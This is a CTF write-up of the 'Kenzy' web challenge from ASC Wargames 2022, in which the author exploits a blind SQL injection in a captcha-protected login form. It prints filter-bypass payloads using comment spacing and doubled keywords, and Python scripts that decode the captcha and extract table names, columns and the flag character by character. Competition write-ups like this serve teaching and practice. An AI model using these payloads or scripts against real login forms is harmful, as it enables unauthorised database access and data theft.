ASC Wargames Qualifications 2022| Kenzy | Web Challenge Write-up

Adham A. Makroum
7 min readAug 8, 2022

--

Hey folks, I am Adham Makroum aka 0xmkr24, This’s my Write-up for Kenzy, it’s The Hard Challenge in ASC Wargames CTF 2022 Qualifications, and my team z01dyck is ranked 18th

This challenge had 900 points

First, visit the challenge, I found a login page with captcha

I checked the source code and found username → admin

and captcha file →/scripts/captcha.php

CTF organizers have warned us not to use brute force for passwords or directories and whoever does this will be banned

so I tried basic SQL injection

and this is the response

I noticed there were no SQL errors raised so it was a blind SQL injection, and the space and or been filtered so let’s try to bypass it

Blind SQL injection → if the query is true = successfully login, if the query is false = failed to login

the response gives me a statement error because there’s syntax wrong in the payload.

I first tried some encoding but it got filtered so try to replace space with /**/ and or with oorr

I tried # To successfully login

The payload will be -> admin'/**/oorr/**/1=1#

We have now successfully logged in, but unfortunately, there is nothing interesting

let’s try to exploit Blind SQL injection

Exploitation

What do we need to do?

  • Write a script to bypass Captcha
  • Write a script to exploit Blind SQLI

How can we exploit Blind SQLI?

Getting the tables

  • Getting the number of tables
  • Getting the length of each table name
  • Getting the name of all tables

Getting the columns

  • Getting the number of columns
  • Getting the name of each column

Getting the flag

  • Getting the length of the flag
  • Getting the value of the flag

Captcha

Captcha is generated in a php file called /scripts/captcha.php

I downloaded the source code and then noticed that the captcha is exist as a string but it is double encoded as base64

so I created a function called get_cap() to request capatcha.php then decode and grep captcha value

Blind SQLI

this demo.py script will execute SQL payloads that I enter in sql> prompt and take a captcha value then pass it to request.

and want to thank my teammate for helping me write this script

# demo.py
#!/usr/bin/python3
import requests
import re
import base64
s = requests.Session()
def get_cap():
resp = s.get("http://34.175.249.72:60001/scripts/captcha.php")
data = str(str(str(resp.text).split("\n")[-1]).replace("\"","").replace("\n","").split(":")[1]).encode("utf-8")
captcha = base64.b64decode(data).decode('utf-8')
captcha = base64.b64decode(captcha).decode('utf-8')
return captcha
def execute_sqli(sqli_payload,captcha):
username = fr"{sqli_payload}"
body = {"username":username,"password":"admin","captcha":captcha,"send":"send"}
resp = s.post("http://34.175.249.72:60001/index.php",data=body)
output = resp.text
return output
while True:
sqli_p = str(input("sqli> "))
if sqli_p == "exit" or sqli_p == "Exit":
break
cap = get_cap()
output = execute_sqli(sqli_p,cap)
print("\n"+output+"\n")

Blind SQLI Exploitation

Getting the Number of tables

To count the number of tables we can use the COUNT() function.

Query: SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database()

  • database(): to get the database name

payload: admin'/**/aandnd/**/(SELECT/**/COUNT(*)/**/FROM/**/infoorrmation_schema.tables/**/WHERE/**/table_schema=database())=1#

  • as I said before, the backend filter space and or, andso I use /**/ bypass space filter and aandnd to bypass and filter
  • and use infoorrmation_schema.tables because or It will be filtered so need to bypass

if the query is True, will retrieve Treasures are always in the database if the query is False, will retrieve Invalid username or password

I tried to loop on the number of tables till I got Treasures are always in the database

The number of tables is 2

Getting the Name of all tables

We use LIMIT to select each table individually, this’s basic usage for limit

SELECT * FROM table_name LIMIT 0,1  
// Select only the first table
SELECT * FROM table_name LIMIT 1,1
// Select only the second table
SELECT * FROM table_name LIMIT 0,2
// Select the first and second tables
SELECT * FROM table_name LIMIT 1,2
// Select the second and third tables

Query: (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)=1#

Payload: admin'/**/aandnd/**/(SELECT/**/LENGTH(table_name)/**/FROM/**/infoorrmation_schema.tables/**/WHERE/**/table_schema=database()/**/LIMIT/**/0,1)=1#

I tried to loop on the length of the first table till I got Treasures are always in the database

  • The length of the First Table is 5

to loop on Table 2 replace Limit/**/0,1 to Limit/**/1,1

  • The length of the Second Table is 5

Getting the name of the first table

Query: (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1) LIKE 'a%'#

Payload: admin'/**/aandnd/**/(SELECT/**/table_name/**/FROM/**/infoorrmation_schema.tables/**/WHERE/**/table_schema=database()/**/LIMIT/**/0,1)/**/LIKE/**/'a%'#

you can use ASCII instead of Limit

admin'/****/**aandnd/**/ASCII(SUBSTRING((SELECT/**/table_name/**/FROM/**/infoorrmation_schema.tables/**/WHERE/**/table_schema=database(),0,1)))=115#

but I edited my script to brute force on every character

def execute_sqli(table_name,i,captcha):sqli_payload = "admin'/**/aandnd/**/(SELECT/**/table_name/**/FROM/**/infoorrmation_schema.tables/**/WHERE/**/table_schema=database()/**/LIMIT/**/0,1)/**/LIKE/**/"
username = fr"{sqli_payload}'{table_name}{i}%'#"
body = {"username":username,"password":"wef56e","captcha":captcha,"send":"send"}
resp = s.post("http://34.175.249.72:60001/index.php",data=body)
output = resp.text
return output
table_name=""
word="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
for pos in range (0,5):
for i in word:
cap = get_cap()
output = execute_sqli(table_name,i,cap)
if "Invalid username or password" not in output:
table_name+= i
print(table_name)
  • The range is based on the length of the tables
  • To Bruteforce on the first table → limit/**/0,1 → the First table name is solve
  • To Bruteforce on the second table → limit/**/1,1 → the Second table name is users

Getting the Columns

Getting the Number of columns

Query: (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='solve)=1#

Payload: admin'/**/aandnd/**/(SELECT/**/COUNT(column_name)/**/FROM/**/infoorrmation_schema.columns/**/WHERE/**/table_schema=database()/**/aandnd/**/table_name='solve')=1#

I will use demo.py that I posted above to get the number of columns

The number of Solve columns is 1

Getting the length of each column

Query: (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='solve' LIMIT 0,1)=1#

Payload: admin'/**/aandnd/**/(SELECT/**/LENGTH(column_name)/**/FROM/**/infoorrmation_schema.columns/**/WHERE/**/table_schema=database()/**/aandnd/**/table_name='solve'/**/LIMIT/**/0,1)>=2#

if the length ≥ 2 then try a bigger number like 5 it will be false so reduce it to 4 then the length of the column is 4

admin'/**/aandnd/**/(SELECT/**/LENGTH(column_name)/**/FROM/**/infoorrmation_schema.columns/**/WHERE/**/table_schema=database()/**/aandnd/**/table_name='solve'/**/LIMIT/**/0,1)=4#

The length of the column is 4

Getting the name of each column

Query: (SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='solve' LIMIT 0,1) LIKE 'a%'#

Payload: admin'/**/aandnd/**/(SELECT/**/column_name/**/FROM/**/infoorrmation_schema.columns/**/WHERE/**/table_schema=database()/**/aandnd/**/table_name='solve'/**/LIMIT/**/0,1)/**/LIKE/**/'a%'#

use the edited script above, and set

  • sqli_payload = admin'/**/aandnd/**/(SELECT/**/column_name/**/FROM/**/infoorrmation_schema.columns/**/WHERE/**/table_schema=database()/**/aandnd/**/table_name='solve'/**/LIMIT/**/0,1)/**/LIKE/**/
  • username = fr"{sqli_payload}'{table_name}{i}%'#"

The name of the column is flag

Getting the length of the flag

Query: (SELECT/**/LENGTH(flag)/**/FROM/**/solve/**/LIMIT/**/0.1)>=30#

Payload: admin'/**/aandnd/**/(SELECT/**/LENGTH(flag)/**/FROM/**/solve/**/LIMIT/**/0.1)>=30#

Try many numbers as I did before to get the length of the flag

The length of the flag is 30

Get The Flag

the final step is to get the flag

Query: ASCII(SUBSTRING((SELECT flag FROM solve),0,1))='65'#

Payload: admin'/****/**aandnd/**/ASCII(SUBSTRING((SELECT/**/flag/**/FROM/**/solve),0,1))='65'#

I edit my script to brute force for every char in the flag

#!/usr/bin/python3
import requests
import re
import base64
flag = ""
s = requests.Session()
def get_cap():
resp = s.get("http://34.175.249.72:60001/scripts/captcha.php")
data = str(str(str(resp.text).split("\n")[-1]).replace("\"","").replace("\n","").split(":")[1]).encode("utf-8")
captcha = base64.b64decode(data).decode('utf-8')
captcha = base64.b64decode(captcha).decode('utf-8')
return captcha
def execute_sqli(i,captcha,pos):sqli_payload = r"admin'/**/aandnd/**/ASCII(SUBSTRING((SELECT/**/flag/**/FROM/**/solve),"+f"{pos}"+r",1))="
username = fr"{sqli_payload}'{i}'#"
body = {"username":username,"password":"wef56e","captcha":captcha,"send":"send"}
resp = s.post("http://34.175.249.72:60001/index.php",data=body)
output = resp.text
return output
for pos in range(1,30):for i in range(31,128):
cap = get_cap()
output = execute_sqli(i,cap,pos)
if "Invalid username or password" not in output:
flag += chr(i)
print(f"flag: {flag}")
print(f"Final Flag: {flag}")

Finally, the flag is ASCWG{23fsdc$@#EAScasq12_hard}

In the end, I want to thank Abdulrahman-Kamel the author of the challenge because it’s my first time doing full exploitation for Blind SQLI

If there’s any step wrong Feel free to ping me because I couldn’t take notes from every step in the challenge

Don’t forget to follow me on medium and Twitter

Thank you for reading

Reference

--

--